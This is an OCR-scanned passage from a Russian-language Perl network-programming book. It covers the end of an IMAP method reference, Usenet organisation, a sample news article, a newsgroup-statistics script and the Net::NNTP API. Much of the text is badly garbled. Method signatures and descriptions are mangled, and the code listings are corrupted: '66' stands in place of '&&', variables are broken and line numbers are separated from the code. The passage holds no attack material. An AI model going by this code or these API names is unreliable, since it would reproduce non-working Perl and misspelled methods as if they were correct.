|: Ssuccesa - 9imap->ccpy ($пшдтзт» $aa 11 y-o^'Vagtinati.on)
i Merry; сору ) предпринимает попытку скопировать указанное сообщение из текущего почтового .
_ ящика в указанный почтопнй-ящик назначения. В случае успешного еыпслненйя метод возвращает ис-
} тинное значение, а указанное сообщение записывается лесле есех прочих сообщений а почтовый ящик
! назначения Для удаления сообщения из.исхедногопочтового ящика меж»>зызвать • i dol-etv(I.
После окончания работы должен быть вызван метод quit () для выполнения
завершающих действий.
Simap-XjuitO
t Метод «juit.O не принимает параметров Он удаляет все отмеченные сообщения и
прекращает сеанс связи
Клиенты службы новостей Internet
Служба сетевых новостей была создана в 1979 году, когда исследователи из
университета Duke и университета шт. Северная Каролина разработали систему рассылки писем,
поступающих в дискуссионную группу, в которой были преодолены ограничения простых
списков рассылки [60]. Эта система быстро получила широкое распространение и со
временем превратилась в Usenet — глобальную систему электронных досок объявлений на
базе Internet, представляющую тысячи именованных групп новостей.
Поскольку система Usenet достигла грандиозных размеров (насчитывается свыше
34 тыс. групп новостей и ежедневные объемы поступления новостей измеряются
в гигабайтах), ее популярность среди пользователей Internet немного уменьшилась.
Однако в последнее время наблюдается рост заинтересованности в использовании
службы новостей для создания приватных дискуссионных серверов, приложений
бюро обслуживания и выполнения других функций в корпоративных интрасетях.
Служба сетевых новостей организована в виде двухуровневой иерархии. На
верхнем уровне находятся группы новостей. Они имеют длинные содержательные имена,
такие как comp. graphics . rendering, raytracing. Каждая группа новостей, в свою
очередь, содержит нуль или более статей. Пользователи высылают статьи на свой ло-
Глсша 8. Протоколы обработки почты и сообщений групп новостей... 237
кальный сервер службы сетевых новостей, а программное обеспечение службы
сетевых новостей обеспечивает распределение статей по другим серверам. В течение
примерно одних суток копия статьи появляется на каждом сервере службы сетевых
новостей в мире. Статьи находятся в службе сетевых новостей в течение
определенного времени, после чего срок их хранения истекает. В зависимости от емкости
средств хранения каждого сервера, срок хранения сообщения на нем может
составлять от нескольких дней до нескольких недель. Некоторые крупные серверы службы
сетевых новостей, в частности сервер, расположенный по адресу www.deja.com,
хранят статьи службы новостей неопределенно долго.
Группы новостей организованы с использованием иерархического пространства имен.
Например, предполагается, что все группы новостей, имена которых начинаются
с сотр., имеют некоторое отношение к компьютерам или информатике, а те, имена
которых начинаются со слов soc.religion., относятся к вопросам религиозных
воззрений в обществе. Ответственность за создание и уничтожение групп новостей в основном
возложена на нескольких старших администраторов. Исключением является иерархия
alt, в которой группы новостей могут быть созданы (по желанию или по необходимости)
кем угодно. В этих группах иногда встречаются очень интересные материалы.
Независимо от позиции в иерархии пространства имен, группа новостей может
быть управляемой (модерируемой) или неуправляемой (немодерируемой).
Управляемые группы являются "закрытыми". Отправлять сообщения в такую группу
новостей имеет право лишь небольшое число людей (обычно даже только один —
модератор). При попытке отправить сообщение в группу новостей оно автоматически
переправляется модератору по электронной почте, а он, в свою очередь, решает,
поместить сообщение в группу или нет. В неуправляемую группу сообщение может
отправить кто угодно. Статья, отправленная в такую группу новостей, немедленно
становится доступной на локальном сервере и быстро распространяется по системе.
Статьи групп новостей устроены как сообщения электронной почты, и на них
в действительности распространяется та же спецификация RFC 822. В листинге 8.6
показана статья группы новостей, которая была недавно отправлена в группу
сотр. lang.perl .modules. Статья состоит из заголовка и тела сообщения.
Заголовок содержит несколько полей, которые встречаются и в обычной электронной
почте, такие как строки Subject: и From:, а также несколько полей, которые
появляются только в статьях групп новостей, такие как Article:, Path:, Message-ID:,
Distribution: и References:. Многие из этих полей добавляются автоматически
сервером службы сетевых новостей.
Листинг 8.6. Типичная статья службы сетевых новостей
Article: 36166 of сотр.lang.perl.modules
Path: rQdQ!sn-xit-
01!supernews.com!newsfeed.skycache.com!Cidera!128....
From: martinGradiogaga.harz.de (Martin Vorlaender)
Newsgroups: comp.lang.perl.modules
Subject: Re: Cannot install NET::FTP correctly
Distribution: world
Message-ID: <397a6e8d.524144494?474147410radiogaga.harz.de>
Date: Sun, 23 Jul 2000 06:03:25 +0200
Reply-To: martin@radiogaga.harz.de
Organization: home
References: <819sec$hu2$l@nnrpl.deja.com>
238
Часть П. Разработка клиентов для основных служб
X-Newsreader: TIN [version 1.2 PL2]
X-Posting-Software: UUPC/extended 1.13f inews (25Nov98 07:59)
Lines: 19
Xref; rQdQ сотр.lang.perl.modules:36166
etienno@my-deja.com wrote:
: syntax error at D:/Perl/site/lib/Net/Config.pm line 70,
near "sgt"
: Compilation failed in require at D:/Perl/site/lib/Net/Ftp.pm
line 21. :
: and here's the config.pm:
:DATA6gt%NetConfig = (
IMHO, that should read
%NetConfig = (
cu,
Martin
Для создания допустимой статьи службы новостей достаточно взять обычное
сообщение электронной почты и добавить к нему заголовок Newsgroups:, содержащий
разделенный запятыми список групп новостей, в которые должно быть отправлено
это сообщение. Еще одним часто применяемым полем заголовка статьи является
Distribution:. Это поле ограничивает область распространения статьи.
Допустимые значения для поля Distribution: зависят от настройки локального сервера
службы сетевых новостей, но они обычно носят территориальный признак.
Например, опция распределения usa ограничивает область распространения сообщения
политическими границами Соединенных Штатов, а опция n j ограничивает
распространение штатом Нью-Джерси. Наиболее часто применяется опция распределения
world, которая допускает распространение статьи по всему миру.
Другие поля заголовка статьи имеют для системы сетевых новостей особый смысл
и могут применяться для создания управляющих сообщений, которые отменяют
статьи, добавляют или удаляют группы новостей и выполняют другие специальные
функции. Дополнительная информация о том, как строить собственные
управляющие сообщения, приведена в [60].
Служба сетевых новостей хорошо сочетается со спецификацией MIME. Статья
может иметь любое число заголовков, частей и подчастей, обусловленных форматом
MIME, а программы чтения новостей с поддержкой MIME могут декодировать и
отображать эти части.
Статьи могут обозначаться одним из двух способов. В группе новостей статья
помечается порядковым номером сообщения в группе. Например, статья,
показанная в листинге 8.6, имеет номер сообщения 36166 в группе новостей
сотр. lang.perl.modules. Поскольку статьи постоянно устаревают и заменяются
новыми, номер первого сообщения в группе почти никогда не бывает равен 1
и обычно составляет большее число. Номер сообщения, присвоенный статье,
остается постоянным на любом конкретном сервере службы новостей. Одну и ту же статью
можно получать день за днем, вводя имя конкретной группы новостей и выбирая
один и тот же номер сообщения. Однако одно и то же сообщение на разных серверах
имеет разные номера. Статья с определенным номером на одном сервере новостей
может получить совершенно иной номер на другом сервере.
Глава 8. Протоколы обработки почты и сообщений групп новостей... 239
Еще один способ обозначения статей состоит в использовании
идентификаторов сообщений. В приведенном выше примере статья имеет идентификатор
сообщения <397a6e8d.524144494f47414741@radiogaga.harz.de>, к которому
относятся также угловые скобки с обеих сторон. Идентификаторы сообщений
представляют собой глобально уникальные идентификаторы, которые остаются
одинаковыми на всех серверах.
Net::NNTP
С момента зарождения этой системы, сообщения службы сетевых новостей
распространялись самыми различными способами, но теперь основную роль в этом
процессе выполняет протокол NNTP (Net News Transfer Protocol — Протокол передачи
сетевых новостей), описанный в документе RFC 977. Этот протокол применяется
и в серверах службы сетевых новостей, которые с помощью него обмениваются
статьями друг с другом, и в клиентских приложениях — для просмотра и выборки
требуемых статей. Для доступа к серверам NNTP может использоваться модуль
Net: : NNTP Грэма Барра, который входит в состав утилит libnet.
Как и другие представители семейства libnet, модуль Net: :NNTP происходит от
модуля Net: : Cind и наследует его методы. API-интерфейс этого модуля аналогичен
интерфейсам модулей Net: :POP3 и Net: :IMAP: :Simple. Он предусматривает
подключение к удаленному серверу службы сетевых новостей, создание нового объекта
Net: :NNTP и применение этого объекта для взаимодействия с сервером. Этот
интерфейс позволяет получать списки и отбирать сообщения групп новостей,
переходить в конкретную группу новостей, получать список статей, загружать их и
отправлять в группу новостей новые статьи.
Ниже приведен небольшой сценарий newsgroup_stats -pi, в котором
применяется модуль Net: :NNTP для поиска всех групп новостей, соответствующих образцу
поиска, и выполняется подсчет числа статей в каждой из этих групп. Например,
чтобы найти все группы новостей, которые имеют какое-то отношение к языку Perl,
можно выполнить поиск по образцу "* .perl*". (Вывод этого сценария был немного
сокращен для экономии места.)
% newsgroup_stats.pi '*.perl*'
alt.сотр.perlcgi.freelance 454 articles
alt.flame.marshal.perlman 3 articles
alt.music.perl-jam 11 articles
alt.perl.sockets 45 articles
сотр.lang.perl.announce 43 articles
сотр.lang.perl.misc 18940 articles
сотр.lang.perl.moderated 622 articles
сотр.lang.perl.modules 2240 articles
сотр.lang.perl.tk 779 articles
cz.сотр.lang.perl 63 articles
de.comp.lang.perl.cgi 1989 articles
han.сотр.lang.perl 174 articles
it.сотр.lang.perl 715 articles
japan.сотр.lang.perl 53 articles
Обратите внимание, что сопоставление с образцом не было идеальным, поэтому
с ним была сопоставлена группа alt .music.perl-jam, наряду с группами
новостей, которые действительно имеют отношение к этому языку. Код сценария
приведен в листинге 8.7.
240
Часть П. Разработка клиентов для основных служб
Листинг 8.7. Сценарий match newsgroup .pi
0: #!/usr/local/bin/perl -w
1: # Файл: newsgroups_stats.pl
2: use strict;
3: use Net::NNTP;
4: my $nntp = Net::NNTP->new()
or die "Couldn't connect: $!\n";
5: print_stats($nntp,$_) while $_ = shift;
6: $nntp->quit;
7
8
9
10
11
12
13
14
15
16
17:
sub print_stats {
my $nntp = shift;
my $pattern = shift;
my $groups = $nntp->newsgroups($pattern);
return print "$pattern: No matching newsgroups\n"
unless $groups 66 keys %$groups;
for my $g (sort keys %$groups) {
my ($articles,$first,$last) = $nntp->group($g);
printf "%-60s %5d articles\n",$gf$articles;
}
Проведем анализ программы.
• Строки 1-3. Загрузка модулей. Включена строгая проверка синтаксиса и загружен модуль
Net:: NNTP.
• Строка 4. Создание нового объекта Net:: nntp. Вызывается метод net:: NNTP->new () для
подключения к хосту службы сетевых новостей. Если хост явно не указан, модуль Net.-: nntp
выбирает подходящий хост из переменных среды или применяет сервер NNTP,
предусмотренный по умолчанию при установке утилит libnet.
• Строки 5, 6. Вывод статистических данных и выход. Для каждого параметра а командной
строке вызывается подпрограмма print_stats () для поиска по образцу и вывода
сопоставленных с ним имен групп новостей. После этого вызывается метод quit () объекта NNTP.
• Строки 7-17. Подпрограмма print_stats (). В подпрограмме print_stats () вызывается
метод newsgroups () объекта NNTP для поиска групп новостей, имена которых соответствуют
образцу. В случае успешного выполнения метод newsgroups () возвращает ссылку на хеш,
ключами которого являются имена групп новостей, а значениями — краткие описания групп новостей.
Если метод newsgroups (> возвращает значение undef или пустое значение, выполняется
возврат. В ином случае происходит сортировка имен групп по алфавиту и проход по этим
именам в цикле. Для каждой группы вызывается метод group () объекта NNTP для получения
списка с информацией о числе статей а группе и номерах сообщений первой и последней ств-
тей. Выводится имя группы новостей и число содержащихся в ней статей.
API-интерфейс модуля Net::NNTP
Методы API-интерфейса модуля Net:: NNTP в основном подразделяются на методы,
предназначенные для работы со всем сервером в целом, методы, касающиеся целых
групп новостей, и методы, которые относятся к отдельным статьям в группе новостей.
Глава 8. Протоколы обработки почты и сообщений групп новостей...
241
Группы новостей могут быть указаны по имени, а в некоторых методах — по
образцу с символами шаблона. Система сопоставления с образцом, применяемая в
большинстве серверов NNTP, аналогична используемой в командных интерпретаторах
UNIX и DOS. Символ шаблона "*" сопоставляется с любыми символами в количестве
от нуля и более, символ шаблона "?"— с одним и только одним символом, а набор
символов, заключенных в квадратные скобки, например "[abc]", — с любым
символом из этого набора. Наборы символов в квадратных скобках могут также содержать
диапазоны символов, например " [ 0-9]" сопоставляется со всеми цифрами от 0 до 9,
а символ шаблона "Л" может применяться для обращения набора символов, например
" [ "A-Z ]" сопоставляется с любым символом, не находящимся в диапазоне от А до Z.
Любой другой символ сопоставляется с самим собой один и только один раз. Как
и в командном интерпретаторе (в отличие от операций с регулярными выражениями
Perl), образцы NNTP автоматически привязываются к началу и концу целевой строки.
Статьи могут быть указаны по номеру в текущей группе новостей, по
соответствующему им уникальному идентификатору сообщения или, при использовании
некоторых методов, по принадлежности к диапазону номеров. В последнем случае
диапазон указывается путем предоставления ссылки на двухэлементный массив,
содержащий первый и последний номера сообщений диапазона. Некоторые методы
позволяют выполнять поиск конкретных статей путем сопоставления с образцом,
содержащим символы шаблона, текста заголовка или тела сообщения, с применением
такого же синтаксиса, как и в символах шаблона для имен групп новостей.
Другие методы позволяют указывать значения времени и даты. Например, метод
newgroups () позволяет найти группы новостей, созданные после определенной
даты. Во всех случаях время выражается в собственном формате Perl в виде числа
секунд с начала эпохи UNIX (1 января 1970 года) по аналогии со значением,
возвращаемым встроенной функцией time ().
Кроме этих основных функций NNTP, во многих серверах реализован ряд
дополнительных команд. Эти команды упрощают поиск на сервере статей,
соответствующих определенным критериям, а также получение кратких рефератов содержимого
дискуссионной группы. Безусловно, не все серверы поддерживают дополнительные
команды, и в таких случаях соответствующий метод обычно возвращает значение
undef. В приведенном ниже описании методы, которые зависят от дополнительных
команд NNTP, отмечены особо.
Вначале рассматриваются методы, которые влияют на работу самого сервера.
?nntp - net: :NNTP->n«w([$host], [$ortionl->$v!»ll,$i>pt:i"n2->Sval2.. .])
Метод new о предпринимает попытку подключения к серресу NNTP. Параметр $h. st
представляет собой дсменное имя или IP-адрес серсера. Если этот параметр не указан, модуль Net: :nnt;
вначале ищет имя сервера а переменных среды ,nnt;se:we5 и newshosts, а затем обращается пс
ключу nntp h„-sts к модулю Not: :Config. Если ни одна из этих переменных не установлена, имя
хоста службы сетевых новостей устанавливается по умглчанию равным Mews.
Кроме опций, принимаемых конструктором модуля 10: : Socket: : INET,
соответствующий метод модуля Net: : NNTP распознает пары имя/значение,
приведенные в табл. 8.2.
По умолчанию при подключении к серверу модуль Net: : NNTP сообщает, что он
является программой чтения новостей, а не транспортным агентом службы новостей
(так называется программа, которая в основном отвечает за массовую передачу
сообщений). Если вам действительно нужно применить этот модуль в качестве
транспортного агента службы новостей и вы знаете, что делаете, то укажите в вызове
конструктора new () опцию Reader=>0.
242
Часть П. Разработка клиентов для основных служб
Ssucces» - Snntp->authinfо($usur -> gpasaword)
Некоторые серверы NNTP требуют, чтобы пользователь вначале зарегистрировался и только
потом обращался*'зя информацией Метел autninfpO принимает имя пользователя и парсль
и возвращает истинное значение, если эти "верительные грамоты* были от пользователя приняты.
$ok » $nntp->fvatok ()
Метод [ostok О возгращает истинное значение, если сервер разрешает отправлять на негр
нозые статьи Даже если сам сервер а целом принимает нолые поступления, отдельные
управляемые группы нсеостей могут их не принимать
Sttnira <■ Snntp-XLate О
Метод "ttte t) пСзволяет определить значение времени и даты на удаленном сервере в еиде
числа секунд с начала эпохи UNIX £1 января 1970 года). Это значений ыгжно преобразовать* строку
.даты и времени, предназначенную для сосприятия человеком, с ислсльэоаанием функций
loc-\ltime() или gmtl- ().
Таблица 8.2. Опции метода Net:: NNTP->new ()
Опция Описание Значение по умолчанию
Timeout Время ожидания ответа с сервера в секундах 120
Debug Применение режима выдачи подробных отладочных undef
сообщений
Port Номер или символическое имя порта, к которому 119
должно быть выполнено подключение
Reader Применение объекта для чтения новостей 1
$rmtp->el«ve ()
$nntp->reader () [дополнительным глвтох]
Метод slave () переводит сервер NNTP в режим, в котором он межет приняв участие в сеансе
ыэссоэой передачи почты с клиентом. Мотсд renter о позволяет устаноаитъ режим, более уд^б-
ный для интерактивной передачи отдельных статей. Если это действие не будет яанс запрещено
метод reader () вызывается*автоматически методом nuw ().
I $nntj.— >quit<)
р Метод ^uit() выполняет заключительные действия и разрывает соединение с сервером Он
тагже вызывается авт этически при уничтожении • • - -кта. NNTP _
После создания объект NNTP может применяться для получения информации
о группах новостей. Для выполнения различных функций на уровне групп новостей
могут использоваться следующие методы.
$group_inr"o - $nntp->liet{)
Метод list о возвращает информацию о всех активных группах новостей. Воээращрсмое
значение представляет собой ссылку на хеш, ключами кртсрого явлйЮтся имена групп новостей, а
значениями—ссылки на трехэлементный массив, ксторчй содержит информацию о группе.
Элементами этор массива являются параметры tSfirst, $Iast, Sp stokj./де Sliest и $ir.st
обозначают номера сообщений первой и последней, статей в группе, а параметр Spost-k имеет значение
"у", если разрешена отпраакэ статей в эту группу, или V. если группе является управляемой
I Sgrpup - Jmitp->grpup([Jgrouj:])
($ar4dea, $f irst,Slast,$naE^e) - Snntp->grDup([Sgrcxup])
• Метсд group () получает или устанавливает текущую группу. При вызове с именем группы ь
качестве Параметра он устанавливает текущую группу; используемую в различных методах выборки статей
ел - •■ — -■■ 1 . _
Глава 8. Протоколы обработки почты и сообщений групп новостей... 243
[ При вызове Се» пар^метро^ этот метод возвращает информацию о текущей группе: Б ехалярнсм
контексте х ггзфашает имя группы. В контексте списка метиДгВсзиращэет чвтырехэл&мстиый список, «ото-
, -рый ссдоржит число статей irrpynru. Vk мьр-з сообщений лерэой-и последней стзТбй и имя группы.
$group_infcv 9 5nntp->newgrouphi($BxnaeI/S<ii«ttibuticn«])
I. Метод riewgroups (у действует энергично''методу „list ().. нр всзвращает только группы.нпво-
f стей, которые были созданыГ после даты, указанной параметром Ssince. Дата должно быть выра-
u жене в секундах с начала эпохи UNIX (1 января 1970 года) а том же формате, какой возвращает
функция time^). ' * * г J
i napaMeTp'4distributions, если он указан, ограничивает возвращаемый список теми группами
новостей, которые относятся к указанным областям распространения. Можно указать отдельное имя"
! области распространения а виде строки, такой как nj, или ссыпки на массиа областей распро-=
странения, таких как .<{ 'rrp, 'ct'> 'пу'З для региона Нью-Йорка, в который входят три штата: i
j Нью-Джерси,ЙоннектикутйНью-Йорк. " t
| Snew_articles = $nntp->newnews<Ssince[,$groups[Sdistributibns]]) ,
I' Метод riewnews () возвращает список статей, которые были отправлены а группу новостей после .
| даты, указанной параметром $ since. Может быть дополнительно предоставлен образец поиска *
. группы или ссылка на массив образцов в параметре $groups, а также образец поиска оС-лэстей рас-
j пррстранения или ссылкана массив образцов ь параметре $distributiops.
В случае успешного! выполнения метод возвращает ссылку на массив, который содержит иден-
•тификаторы сообщений всех статей, соответствующих критериям поиска. После -этого для выборки
|содёржимого статей могут применяться методы article () и/или articlefh* К списанные ниже.
Данный метод в основном используется для зеркального отображения целей группы или HaFcra-
, групп на другом узле, р <■ - -- ^
t $group_infо = $nntp->active([^pattern]) [дополнительный метол) *|
Метод active () действует аналогично методу list (7), но ограничивает выборку теми фуппами!
' новостей, которые соответствуют образцу с Символами шаблона Spattern. Если образец не указан, j
. данный метод действует так же, как и метод list (). '.,.,' I
- Этот метод, наряду со Всеми перечисленными ниже методами, позволяет воспользоваться наи- '
> fJone& распространенными дополнительными ксм^ндэми протокола NTTf5 Однако нельзя
гарантировать, что отбудет работать ее.всеми серверами NNYR
9grcup_Jescripticns - $nntp->newsgr<Jui_s([5pBttern]) [дополкитилышй метод]
?yroup__debcriptions - Snntp->xgtitJ.e (Jpattarn) [дополнительный метод]
Метод newsgroups () принимает образец псиска группы новостей-с си олами шаблона и
возвращав? ссылку на хеш, ключами которого нклнытсч имен-»групп.1 а,значениями— краткие тексто-
еыс списания группы. Поскольку на мнггих узлах.службы сетевых новостей не отслеживаются все
возможные группы ногостей (которые появляется it исчезают очень быстро), иногда такие списания
ысгу^Отсутствоввть. В подобных случаях описание представлено а виде строки "wo description",
в<_ просительного знака иля просто пустой строки
x<jtitlo() — это еще един дополнительный метод, который пюэевму назначению
равнозначен методу newsgroups (I, эя исключением Того, чти параметр с образцом поиска группы является
обязательным.
$&г-лц)_Ь1Л1в« — Snntp->active_tuoeR() [дополнительней мьтод]
Этст метод возвращает ссылку-на хеш, клк>чями которого лвляются имена групп ноаостей,
а значениями— ссылки на ,-,">ухэлементный.список с указанием аремани сездания группе*
^идентификатора ее соэдатэл*. Иногд»г*иентификатор создателя содержит полезные данные, например
йдрес электронной лочты, но чаще всего в нем представлена информации, которая ни о чем не
говорит, такая как "newsm'ster'.
Sc}ietriijvtit>ofi ■ $nntp-Xlietributions () [дополмстелькки мртод]
$«цЪ«сг1рЫоп» - $nntp->enibacriptioi» О [дополните ль ими метод]
Эти две метода возвращают информацию о легальней области распространения сервера и списках
лгдшекй. Локальные области распространения могут применяться для управления-' распределением
сооРщзний в. локальной ости; например, комязния, эксплуатируешь >*хжолько оорсерое NNTP. может
Спро^илить область распространении fcrrginueringi Списки подписки используются а качестве
рекомендательных списков, предлагаемых групп новостей для новых пользователей Системы
244
Часть П. Разработка клиентов для основных служб
Метод distributions () оозпрзщает ссылку на хеш. ключами которого являются имена
областей распространения, а значениями'—. предназначенные для восприятия челсвсксм описания
областей распространения Метод subscriptions О пгзгращзст ссылку на хеш, ключами которого
являк-тся имена списков подлиски, а значениями — ссылки но массив, содержащий имена групп
новостей, которые принадлежат* списку подписки
После выбора группы с использованием метода group () можно получить список
статей в этой группе и загрузить нужные статьи. Модуль Net:: NNTP позволяет получить
конкретную статью, указав ее идентификатор или номер сообщения, либо ряд статей,
начиная с текущего номера сообщения и переходя к следующим по порядку номерам.
$articl«_axrayref - $nntp->article ([$;&essagu] [ , FXLEHAN"LE] )
Метод article' i позволяет выбрать указанную статью Если параметр Sines sage имеет
числовое значение, он-, интерпретируется как номер сообщения в текущей группе нозэстей Модуль
Net: :NNTk всзьрощасг содержимое указанного сообщения и устанавливает указатель текущего
сообщения на эту статью. При отсутствии первого параметра или при указании в качество нОгс.
значения unde f будет рыбгана текущая статья.
Если первый параметр имеет нечислоэзе значение,-м.адль Net: :HNTP рассматривает его как
уникальный идентификатор сообщения дли двнной стэтыъ. Модуль "Net: :nntp считывав* статью, но
не меняет положение указателя текущего сообщения, Фактически, при ссылке на статью по
идентификатору сообщения, указанная статья межит не .принадлежать к текущей фуппе.
| Необязательный параметр с обозначением дескриптора файла межэт применяться для записи
статьи в указанное масто. ГЗ ином-случаи-содержимое статьи {(заголовок, пустая разделительная
строка и т= ю)возвг>9ща:т -. -3* ылка на ма ' в.состоящий из стрЧГ -тотьи
При каких-либо нарушениях в работе метод article () возвращает значение
undef, а параметр $nntp->message содержит сообщение об ошибке, полученное
с сервера. Чаще всего встречается ошибка "no such article number in this
group" (в этой группе статья с таким номером отсутствует), которая может
возникнуть, даже если номер сообщения принадлежит к допустимому диапазону, поскольку
истек срок хранения статьи или она была изъята в ходе данного сеанса NNTP.
Другие методы выборки статей являются более специализированными.
—=s— ; *—s" xv ™—■ «■ -1 ...v5i>t»'™"*4Hi-,u==-= ■*jj
$header_arrayref = $nntp->head([$message3 [ ,FILEHANDLE]) ''
SbOdy_arrayref = $nntp->bodyt;l$nieSsage] [.FILEHANDLE]) м
Методы headf) и bodyo действуют аналогично методу article О, но аыбирают, соответст-*
венно, только заголовок или тело стзтим
$f"h - $nntp->article£h<[$z№eaaga].)
$fh - $nntp->headfli([$metfBag<e]).
$fh - $nntp»>to(;yfh(f.$message] )
Эти три метлда анялстичны метедчм «tided. htvlB MbodyO, ногвоэррящают дескриптор
„файла, призязанный к объекту, из которого может быть получено содержимое статьи Яссле ислоль-
'зования этот дескриптор файла необходимо закрыть. Например, ниже показан один из способов
чтения сообщения с номером К)000 из текущей группы новостей.
Sfh - Slintp->iTticlefhJ(100w0> or die $nntp->mes3a3e;
whilo (<$fh>) (
rrint7
)
$msyxd - $nntr->nextO
9ma?id - Snntp->last ()
$m*gx3 - $nntp->nntrstat(Smeeeage)
Глава 8. Протоколы обработки почты и сообщений групп новостей...
245
Методы next (}. last () и nntpstat () управляют указателе** текущей статьи. Метод next ()
перемещает указатель текущей статьи hi следующую статью в группе новостей, а метод labt () — на
предыдущую. Метод nntpstntO перемещает указатель текущей статьи в позицию, указанную параметром
Snvasago, который мслжен представлять собой действительный номер сообщения После устаноски ука-
зателя текущей статьи есо и -•» = «.-. -.ют >е •• •• • -те -Астатьи
Модуль Net:: NNTP позволяет отправлять новые статьи в группу новостей с
помощью методов post (), postf h () и ihave ().
$success - $nntp->po*t([$message])
Метод p st () отправляет статью з службу сетевых нппссгей..,ЭТв статья не обязательна
должна Сыть стравлена в текущую группу новостей; в. действительности дервер службы новостей,
принимал, статью, игнорирует текущую, группу новостей и-рассматривает только седержимсе лсля загс-
легка статьи Newsgroups:. Статья мэжет Сыть представлена в виде массива., содержащего строки
статьи, или ссылки на такси массив Иным рЗразсм. можно выэьать м«ггсд ppst () без параметров
и использовать методы ditiscnio и lietacndo. унаследованные ст модуля Net: :Cmd. дли
построчной отправки статьи.
При успешном выполнении метэд post() иезеращает истинн"» значение В ином случае он
аоэвращзет значение undcf и переменная $rmtp->mes3ajt содержит сообщение об сшибке,
полученное с сервера
$fh - $nntp->poutfTi ()
Метод [.-ostfhO предоставляет альтернативный интерфейс для отправки статьи: Если сервер
разрешил отправить статью, этот метсд возвращает дескриптор: файл.?, привязанный к объекту,
в который можно выводить седержимсе статьи. После ьыеодз следует обязательно закрыть
дескриптор фэйла. Код результата пыэог-а метода close(; указывает, была ли статья принята сервером
$wante_it = $nntp->ihava($3ieasigeID[,$moBs39e])
Метсд ihave () в сенсеном предназначен для использования в клиентах, которые действуют как
ретрансляторы сетевых нопсстей. Этот метод запрашивает серьер службы сетевых новостей, готов
ли он принять статью, идентификатором котярой является Sratjsageli.
Если сервер ггтов принять статью, этот метод возвращает истинное значание: Затем статья
должна Сыть передана на сервер ли?5о путем .предоставления содержимого статьи в параметре
Sroosssgc, либо посредством построчной пересылки текста статьи с использованием методэа
dataaendo ndr.taondO модуля Nat:: Cmd Параметр Smessige может представлять* собой
массив строк статьи или ссылку на такой массив.
И наконец, еще несколько методов позволяют выполнять поиск конкретных
статей, интересующих пользователя.
Sheader_ha*href - $imtp->z)}dr($heii4ar,$raeGsage_rangq) Iдополнительный мэтод]
$heador_ha3hxuf - $nntp->xpat(Sheader, Slattern, $nie«safle_rany«)
[дополнительный метод]
$ references - $nntp-»cr^ver ($.xee»age_range) [яополнителышй hstoi]
Метсд х!Иг () представляет собей дополнительную О^ункцию. которая позволяет выбирать
значение т1сля заголовка из нескольких статей. Параметр $rien.ltr означает имя. паля загсловка ста*
тьи, например "Subject". Параметр $rnees.-.ge_range может,обозначать единственный номер
сообщения или ссылку м двухэлементный мэссиз, содержащий-первое и послиднеесооСщенил в
указанием диапазоне. В случае успешного выполнения метод' xhdr () возвращает ссылку нэг хеш,
ключами которого яслластся номера (а но идентификаторы} сообщений, а значениями —
затребованные поля заголовка
Имена пелей заголовка не чувствительны к регистру. Однчкос помощью этого метода не могут
быть получены все пиля заголовка, поскольку серверы NNTP обычно индексируют только то
подмножество полей заголовков, которое используется для сездания списков с краткими 'Озерами
(см. следующий метод).
246
Часть П. Разработка клиентов для основных служб
Метод xpat () аналогичен предыдущему, не он позволяет отобрать только те статьи, в
заголовках которых поля She-.Jtr соответствуют образцу с символвми шгйлгня. указанному е псоамотге
Si att^rri. Метод xrover () еезерзшает значения топей перекрестных ссылок дпя статей в укааан-
1 ном диапазоне. Он функционально идентичен следующему фрагменту кода:'""" " " \
<■-*. Sxref = $nntp->xhdr<,fLeferences'>l$start,$end]); <-- J
Результат этого вызова представляет собой ссылку на хеш, ключами которого являются номера
сообщений, а значениями — идентификаторы сообщений, на которые ссылается данная статья. Это !
обычно применяется длявосстановления потоков обсуждения.
$overview_hashref•* $nntp->xover($meesage_range) [дополнительный метод] *
Sformat arravref = $nntp->over-view fmt() [дополнительный метод] i
■ -^ — ~~ I
Методы overview_fmt C),. и xoverO возвращают информацию "краткого обзора" группы ноао-Ч
г стей. Краткий обзор представляет собой сводку выбранных полей, заголовка статьи; он обычно со- j
держит строку subject г, поле References:, значение поля rate':, с датой создания статьи и зна-'1
чение длины статьи. Этот обзор используется программами чтения новостей для индексации, сорта- ,
ровки и распределения статей по потокам. И
В аызоае метода xoveifO должен быть указан ряд сообщений (единственный номер сообщения
или ссылка на массив, содержащий крайние значения этого диапазона). В случае успешного выпол-,
нения этот метод возвращает значение,,представляющее собой ссылку на хеш, ключами которого ,
являются номера сообщений, а значениями — ссылки на массив полей краткого обзора. '■
Чтобы узнать, из каких 'полей была взята зга информация, нужно вызвать метод
pverviewjrint (). Qh воэаращаё~т *С4ылку н.э массив, содержащий имена полей а том же 4пН<ядке.
скоком гни появляются в -массивах, возвращаемых методом х< ver')- За каждым полем следует
двоеточие, а иногда г медификатпр;. зависящий от сервера. Например, сервер службы сетевых
новостей лаборатории, в которой работает автер, возвращает следующие поля крапеог) обзора
('Subject:', Тг^чв:', " *ate:', "Mtssege-IL:', "-Kef crcnccs:',
'Lytes:', 'Lines:', "Xref2full')
Если нужно, чтобы значения массива краткого обзора представляли собой ссылку
на хеш, а не ссылку на массив, можно применить для преобразования небольшую
подпрограмму, приведенную ниже. Здесь весь секрет состоит в использовании списка
имен полей, возвращенного методом overview_fmt (), для создания сечения хеша,
которому присваивается значение массива краткого обзора статьи.
sub get_overview (
my ($nntp,$range) = @_;
my Gfields = map {/(\w+):/&6 $1} @{$nntp->overview_fmt} ;
my $over = $nntp->xover($range) || return;
foreach (keys %$over) {
my $h = {};
G{$hH@fields}= <H$over->{$_)};
$over->{$_) = $h;
}
return $over;
}
Ниже показана форма применения этой подпрограммы:
$over = get_overview($nntp, [30000,31000]);
Возвращаемое значение имеет примерно такую структуру:
<
30000 => (
'Bytes' => 2704
■Date' => 'Sat, 27 May 2000 19:35:10 GMT'
•From' => 'mr_lowellGmy-deja.com"
'Lines' => 72
Глава 8. Протоколы обработки почты и сообщений групп новостей... 247
'Message-ID' => '<8gp81d$quo$l@nnrpl.deja.com>'
'References' => ''
'Subject' => 'mod_perl make test'
'Xref => 'Xref: rQdQ comp.lang.perl.modules:34162'
>,
30001 => {
•Bytes' => 1117
'Date' => 'Sat, 27 May 2000 20:28:22 GMT'
'From' => 'Robert Gasiorowski <gasior@snet.net>'
'Lines' => 6
'Message-ID' => '<39303E6A.88397549Gsnet.net>'
'References' => ''
'Subject' => 'installing module as non-root'
'Xref => "xref: rQdQ сотр.lang.perl.modules:34163*
>,
Шлюз от службы сетевых новостей к службе
электронной почты
В последнем примере данной главы представлен определяемый пользователем
шлюз от службы сетевых новостей к службе электронной почты. Этот сценарий
